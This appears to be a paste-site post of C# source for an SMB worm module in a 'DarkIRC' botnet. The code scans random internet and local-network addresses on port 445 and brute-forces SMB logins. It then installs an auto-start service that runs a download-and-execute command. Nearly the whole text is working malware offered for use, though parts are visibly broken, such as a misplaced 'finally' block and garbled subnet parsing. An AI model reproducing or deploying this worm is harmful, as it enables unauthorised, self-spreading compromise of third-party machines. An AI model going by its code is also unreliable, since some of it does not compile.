SMB Retard - SMB Worm library in C#
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
namespace DarkIRC
{
class SMB
{
public static string dlexe = IRC.dlexecmd;
public static int bruteSubThreads = 64;
//password list can be viewed in this paste https://pastebin.com/6jiaGSNz
public static void TestPW(string ip, string user, string passwd)
{
ip = "\\" + ip;
try
{
using (var scmHandle = NativeMethods.OpenSCManager(ip, null, NativeMethods.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE))
{
if (scmHandle.IsInvalid)
{
return;
}
using (
var serviceHandle = NativeMethods.CreateService(
scmHandle,
"shell32.dll",
"shell32.dll",
NativeMethods.SERVICE_ACCESS.SERVICE_ALL_ACCESS,
NativeMethods.SERVICE_TYPES.SERVICE_WIN32_OWN_PROCESS,
NativeMethods.SERVICE_START_TYPES.SERVICE_AUTO_START,
NativeMethods.SERVICE_ERROR_CONTROL.SERVICE_ERROR_NORMAL,
"C:\\Windows\\System32\\CMD.exe /C " + dlexe,
null,
IntPtr.Zero,
null,
user,
passwd))
{
if (serviceHandle.IsInvalid)
{
return;
}
}
}
}
catch
{
}
}
public static void SMBHaxx(string ip)
{
int count = 0;
Thread[] threads = new Thread[bruteSubThreads];
for (var u = 0; u < users.Length - 1; u++)
{
for (var p = 0; p < passwords.Length - 1; p++)
{
threads[count] = new Thread(() => TestPW(ip, users[u], passwords[p]));
threads[count].Start();
count++;
if (count > bruteSubThreads)
{
for (int i = 0; i < bruteSubThreads; i++)
{
threads[i].Join();
}
count = 0;
GC.Collect();
}
}
}
}
public static void WorkGroup()
{
while (true)
{
using (TcpClient tcpClient = new TcpClient())
{
try //scan an ipv4 address
{
var data = new byte[4];
new Random().NextBytes(data);
while (data[0] == 192 || data[0] == 10 || data[0] == 127 || data[0] == 169 || data[0] == 172)
{
new Random().NextBytes(data);
}
IPAddress ip = new IPAddress(data);
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
// Connect using a timeout (5 seconds)
IAsyncResult result = socket.BeginConnect(ip, 445, null, null);
bool success = result.AsyncWaitHandle.WaitOne(1000, true);
if (socket.Connected)
{
socket.EndConnect(result);
SMBHaxx(ip.ToString());
}
else
{
socket.Close();
}
}
catch (Exception)
{
}
try //scan an ipv6 address
{
var data = new byte[16];
new Random().NextBytes(data);
IPAddress ip = new IPAddress(data);
Socket socket = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp);
IAsyncResult result = socket.BeginConnect(ip, 445, null, null);
bool success = result.AsyncWaitHandle.WaitOne(1000, true);
if (socket.Connected)
{
socket.EndConnect(result);
SMBHaxx(ip.ToString());
}
else
{
socket.Close();
}
}
catch (Exception)
{
}
}
}
}
public static void internalNetwork()
{
try
{
var host = Dns.GetHostEntry(Dns.GetHostName());
foreach (var ip in host.AddressList)
{
if (ip.AddressFamily == AddressFamily.InterNetwork)
{
string subnet = String.Join(".", ip.ToString().Split(".".ToCharArray()[0]).Skip(2));
for (int i = 0; i < 255; i++)
{
for (var ii = 1; ii < 254; ii++)
{
byte[] data = new byte[4] { Convert.ToByte(int.Parse(subnet.Split(".".ToCharArray()[0])[0])), Convert.ToByte(int.Parse(subnet.Split(".".ToCharArray()[0])[1])), Convert.ToByte(i), Convert.ToByte(ii) };
IPAddress thisip = new IPAddress(data);
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
// Connect using a timeout (5 seconds)
IAsyncResult result = socket.BeginConnect(thisip, 445, null, null);
bool success = result.AsyncWaitHandle.WaitOne(1000, true);
if (socket.Connected)
{
socket.EndConnect(result);
SMBHaxx(thisip.ToString());
}
else
{
socket.Close();
}
}
}
}
}
}
finally
{
}
catch { }
}
}
}
Comments
0 B
|👍
/👎